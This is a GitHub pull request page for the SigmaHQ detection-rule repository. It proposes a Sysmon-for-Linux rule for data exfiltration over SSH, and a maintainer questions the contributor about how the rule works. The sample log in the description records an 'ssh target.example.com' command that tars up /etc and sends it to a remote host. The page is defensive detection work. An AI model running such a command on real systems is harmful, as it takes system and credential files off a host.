-
-
Notifications
You must be signed in to change notification settings - Fork 2.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Exfiltration Over Alternative Protocol - Linux #5035
base: master
Are you sure you want to change the base?
Exfiltration Over Alternative Protocol - Linux #5035
Conversation
When examining the Exfiltration Over Alternative Protocol technique, an attacker can use the scp command in Linux to dump OS credentials. According to the log generated by Sysmon for Linux, the following log entries are produced when the scp command is executed. sample sysmon for linux log: Oct 6 18:33:59 ubuntu sysmon: <Event><System><Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2024-10-06T15:03:59.774949000Z"/><EventRecordID>4341</EventRecordID><Correlation/><Execution ProcessID="11362" ThreadID="11362"/><Channel>Linux-Sysmon/Operational</Channel><Computer>ubuntu</Computer><Security UserId="0"/></System><EventData><Data Name="RuleName">-</Data><Data Name="UtcTime">2024-10-06 15:03:59.763</Data><Data Name="ProcessGuid">{7855304e-m6df-6702-f11a-ft3e65590000}</Data><Data Name="ProcessId">13439</Data><Data Name="Image">/usr/bin/ssh</Data><Data Name="FileVersion">-</Data><Data Name="Description">-</Data><Data Name="Product">-</Data><Data Name="Company">-</Data><Data Name="OriginalFileName">-</Data><Data Name="CommandLine">ssh target.example.com (cd /etc && tar -zcvf - *)</Data><Data Name="CurrentDirectory">/tmp</Data><Data Name="User">root</Data><Data Name="LogonGuid">{78a6704r-0000-0000-0000-000000000000}</Data><Data Name="LogonId">0</Data><Data Name="TerminalSessionId">4294967295</Data><Data Name="IntegrityLevel">no level</Data><Data Name="Hashes">SHA256=950fcc37f70c18932935e0e1b1cavfsdsbfd278c60f1cfeb2d4ceb9d642073ff</Data><Data Name="ParentProcessGuid">{78a6384e-a6df-6702-9569-a9a24d590000}</Data><Data Name="ParentProcessId">13437</Data><Data Name="ParentImage">/usr/bin/dash</Data><Data Name="ParentCommandLine">sh</Data><Data Name="ParentUser">root</Data></EventData></Event>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Welcome @CheraghiMilad 👋
It looks like this is your first pull request on the Sigma rules repository!
Please make sure to read the SigmaHQ conventions document to make sure your contribution is adhering to best practices and has all the necessary elements in place for a successful approval.
Thanks again, and welcome to the Sigma community! 😃
Hey @CheraghiMilad and thanks for the contribution. Quick question regarding this rule. You're mentioning SCP but yet I don't see it in the logic. Is the command you mentioned executed by SCP when you tried to copy something? If its the case then, i have a couple of questions/request
Please take these into account and provide a response and the appropriate fixes |
Hi @nasbench Based on the lab I set up, after extracting data using technique 1048.001 of the MITRE ATT&CK framework, we can identify this case through the logs produced by sysmon-for-linux. |
Change mistake in naming of file and description. Scp Chang to ssh
Hey @nasbench |
You still haven't answered all of my questions. |
Well, as I mentioned, there was a writing error on my part. This rule is for technique T1048.001, which allows monitoring any data extraction from the network via the SSH protocol and issuing alerts for it. The attacker uses the following command to extract data: This command, when sysmon-for-linux is active, results in the following log: Regarding your third question, if I want to remove the rule from general mode, we can update the rule specifically to exclude sensitive data such as the contents of files like /etc/passwd and /etc/shadow.. |
When examining the Exfiltration Over Alternative Protocol technique, an attacker can use the scp command in Linux to dump OS credentials. According to the log generated by Sysmon for Linux, the following log entries are produced when the scp command is executed.
sample sysmon for linux log:
Oct 6 18:33:59 ubuntu sysmon: 154100x80000000000000004341Linux-Sysmon/Operationalubuntu-2024-10-06 15:03:59.763{7855304e-m6df-6702-f11a-ft3e65590000}13439/usr/bin/ssh-----ssh target.example.com (cd /etc && tar -zcvf - *)/tmproot{78a6704r-0000-0000-0000-000000000000}04294967295no levelSHA256=950fcc37f70c18932935e0e1b1cavfsdsbfd278c60f1cfeb2d4ceb9d642073ff{78a6384e-a6df-6702-9569-a9a24d590000}13437/usr/bin/dashshroot
Based on the log details, it can be assessed that if the image equals scp and the command lines include details from Linux compressors, it can be monitored as a specific rule.
Summary of the Pull Request
Changelog
Example Log Event
Fixed Issues
SigmaHQ Rule Creation Conventions